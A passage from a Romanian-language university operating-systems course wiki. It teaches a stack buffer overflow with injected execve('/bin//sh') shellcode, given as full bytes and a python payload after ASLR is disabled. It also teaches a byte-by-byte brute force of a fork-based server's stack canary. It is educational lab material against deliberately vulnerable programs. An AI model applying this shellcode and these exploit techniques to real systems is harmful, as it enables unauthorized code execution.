Read 4 bytes from standard input.
user@host:~$ ./run-shellcode 
Insert message (less than 32 bytes): aaa
buffer address: 0xffdf0270
 
Read 4 bytes from standard input.
 
user@host:~$ ./run-shellcode aaa
Insert message (less than 32 bytes): aaa
buffer address: 0xffef6ad0
 
Read 4 bytes from standard input.

Observăm că bufferul are la fiecare rulare altă adresă. Putem folosi brute forcing, dar durează.

Pentru scopuri didactice vom dezactiva suportul de ASLR folosind comanda

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Acum vom avea aceeași adresă a buffer-ului la multiple rulări ale executabilului run-shellcode:

user@host:~$ ./run-shellcode 
Insert message (less than 32 bytes): aaa
buffer address: 0xffffd2b0
 
Read 4 bytes from standard input.
 
user@host:~$ ./run-shellcode 
Insert message (less than 32 bytes): aaa
buffer address: 0xffffd2b0
 
Read 4 bytes from standard input.

Adresa buffer-ului va fi adresa shellcode-ului pentru că vom scrie shellcode-ul chiar în buffer. Ceea ce înseamnă că vom suprascrie adresa de retur a funcției read_data cu adresa buffer-ului adică cu octeții \xb0, \xd2, \xff, \xff.

Ținem cont că trebuie să scriem 44 de caractere de orice fel și apoi să scriem acei octeți. Din acele 44 de caractere de orice fel primele trebuie să fie chiar shellcode-ul, adică șirul \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80. Shellcode-ul are 25 de octeți. Vom scrie așadar în buffer:

  1. shellcode-ul: 25 de octeți
  2. payload (adică 44-25=19 caractere, vom folosi caracterul A)
  3. octeții \xb0, \xd2, \xff, \xff reprezentând adresa de start a bufferului, adică începutul shellcode-ului

Vom folosi, ca și mai devreme, python pentru a scrie informațiile de mai sus în buffer:

user@host:~$ python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + 19*"A" + "\xb0\xd2\xff\xff"' | ./run-shellcode 
Insert message (less than 32 bytes): buffer address: 0xffffd2b0

La fel ca mai sus nu se generează un prompt de shell pentru că se închide intrarea standard. Dar putem folosi strace ca să vedem că se apelează execve și se creează un proces shell:

user@host:~$ python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + 19*"A" + "\xb0\xd2\xff\xff"' | strace -e execve ./run-shellcode 
execve("./run-shellcode", ["./run-shellcode"], [/* 41 vars */]) = 0
[ Process PID=24236 runs in 32 bit mode. ]
Insert message (less than 32 bytes): buffer address: 0xffffd2b0
execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0
[ Process PID=24236 runs in 64 bit mode. ]

În acest fel am executat o formă clasică de stack buffer overflow cu injectare de cod (shellcode) pe stivă. Shellcode-ul a fost scris pe stivă și apoi am suprascris adresa de retur a funcției cu adresa de început a shellcode-ului, adică adresa buffer-ului. Rezultatul a fost crearea unui proces shell prin invocarea apelului de sistem execve codificat în shellcode.

Pentru a realiza acest lucru am dezactivat mecanismele de protecție din Linux:

  • Am dezactivat stack protector/canary value prin opțiunea -fno-stack-protector la compilare.
  • Am permis ca stiva să fie executabilă prin opțiunea -z execstack la link-editare.
  • Am dezactivat suportul de ASLR prin scrierea în fișierul /proc/sys/kernel/randomize_va_space.

Atacurile reale trebuie să țină cont de aceste mecanisme de protecție care sunt comune pe sistemele de operare moderne. Din acest motiv atacurile sunt dificil de realizat (dar nu imposibil), lucru care face selectă populația celor care sunt capabili să genereze atacuri de exploatare a vulnerabilităților memoriei.

Atacarea Stack Smashing Protection (SSP)

Dorim să atacăm mecanismul defensiv Stack Smashing Protection (SSP) care presupune plasarea unei valori predefinite pe stivă (numită stack canary sau stack guard) care detectează atacurile asupra vulnerabilităților de tip buffer overflow ce ar suprasscrie addresa de retur. Pentru aceasta accesăm subdirectorul socket-ssp/ care creează un fork-based server, adică un server ce creează un proces pentru fiecare conexiune; această particularitate ne permite atacarea SSP permițându-ne suprascrierea adresei de retur.

Urmărim conținutul fișierului socket_ssp.c. În acest fișier în funcția main() se creează un server socket și se acceptă conexiuni de tratarea cărora se ocupă un proces copil. În funcția process_client() se apelează funcția actual_func(). Obiectivul nostru este să exploatăm vulnerabilitatea de tip buffer-overflow din funcția process_client() pentru a suprascrie adresa de retur și a apela funcția inject_func().

Programul este compilat cu suport de Stack Smashing Protection care plasează stack canary pe stivă în funcția process_client(). Opțiunea de compilare -fstack-protector este adăugată în fișierul Makefile:

CFLAGS = -Wall -Wextra -g -fstack-protector -fno-PIC

Compilăm programul (ignorăm warning-ul că funcția inject_func() nu este apelată, e utilă pentru atacul nostru):

$ make
cc -Wall -Wextra -g -fstack-protector -fno-PIC -I../utils  -c -o socket_ssp.o socket_ssp.c
socket_ssp.c:27:13: warning: ‘inject_func’ defined but not used [-Wunused-function]
 static void inject_func(void)
             ^~~~~~~~~~~
cc -no-pie  socket_ssp.o   -o socket_ssp

și observăm prezența stack canary pe stivă la adresa rbp-0x8 (în cazul nostru), poate fi altundeva în cazul vostru:

$ objdump -d -M intel socket_ssp | grep -A 6 '<process_client>:'
00000000004009c3 <process_client>:
  4009c3:       55                      push   rbp
  4009c4:       48 89 e5                mov    rbp,rsp
  4009c7:       48 83 ec 20             sub    rsp,0x20
  4009cb:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  4009d2:       00 00
  4009d4:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax

În realizarea atacului, ținem cont că la fork() (modul de tratare a conexiunilor în implementarea socket_ssp.c) se păstrează spațiul de adresă al procesului, se vor păstra și stack canary. Așa că le putem suprascrie din clientul TCP octet cu octet până nimerim. Când nimerim programul nu va genera eroare de tipul stack smashing detection. Se va încheia cu succes, va întoarce mesaj pe rețea și atunci știm că am nimerit octetul și trecem la următorul.

Atacul este descris în fișierul exploit.py. Pentru a reuși trebuie să știm offset-ul dintre buffer și stack canary și adresa funcției inject_func(). Ambele pot fi obținute prin dezasamblarea codului, identificarea construcției ce referă buffer-ul, valoarea stack canary și adresa funcției inject_func().

De exemplu, pentru a identifica adresa buffer-ului și a stack canary urmărim dezasamblarea funcției process_client():

$ objdump -d -M intel socket_ssp | grep -A 21 '<process_client>:'
00000000004009c3 <process_client>:
  4009c3:       55                      push   rbp
  4009c4:       48 89 e5                mov    rbp,rsp
  4009c7:       48 83 ec 20             sub    rsp,0x20
  4009cb:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  4009d2:       00 00
  4009d4:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  4009d8:       31 c0                   xor    eax,eax
  4009da:       8b 05 ec 16 20 00       mov    eax,DWORD PTR [rip+0x2016ec]        # 6020cc <connectfd>
  4009e0:       48 8d 4d e0             lea    rcx,[rbp-0x20]
  4009e4:       ba 64 00 00 00          mov    edx,0x64
  4009e9:       48 89 ce                mov    rsi,rcx
  4009ec:       89 c7                   mov    edi,eax
  4009ee:       e8 0d fe ff ff          call   400800 <read@plt>
  4009f3:       90                      nop
  4009f4:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  4009f8:       64 48 33 04 25 28 00    xor    rax,QWORD PTR fs:0x28
  4009ff:       00 00
  400a01:       74 05                   je     400a08 <process_client+0x45>
  400a03:       e8 a8 fd ff ff          call   4007b0 <__stack_chk_fail@plt>
  400a08:       c9                      leave
  400a09:       c3                      ret

Adresa buffer-ului este rbp-0x20, adresa stack canary este rbp-0x8, deci ofsset-ul este 0x20-0x8 = 0x18 = 24. Este trecută această valoare în exploit.py

Pentru a nu avea un executabil cu suport PIE (Position Indenpendent Executable) și pentru a avea adrese fixe pentru funcțiile din cadrul executabilului, am folosit opțiunile corespunzătoare la compilare și linking în Makefile:

CFLAGS = -Wall -Wextra -g -fstack-protector -fno-PIC
LDFLAGS = -no-pie

Adresa funcției inject_func() este fixă și o aflăm folosind objdump:

$ objdump -d -M intel socket_ssp | grep '<inject_func>:'
00000000004009a5 <inject_func>:

La fel, adresa este trecută în exploit.py.

Acum putem realiza atacul. Pornim serverul pe o consolă:

$ ./socket_ssp

și atacul pe altă consolă. Atacul va dura să treacă prin toți octeții și să creeze un proces pentru fiecare socket. În final atacul va reuși și vom apela funcția inject_func(). Un exemplu de atac este prezentat în fișierul result.txt:

$ python exploit.py
Canary byte 0 is 0x00
Canary byte 1 is 0x0c
Canary byte 2 is 0xda
Canary byte 3 is 0x55
Canary byte 4 is 0x89
Canary byte 5 is 0x3c
Canary byte 6 is 0x40
Canary byte 7 is 0x71
Exploit result: Called injected function.
so/cursuri/curs-07.txt · Last modified: 2019/04/07 10:15 by razvan.deaconescu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0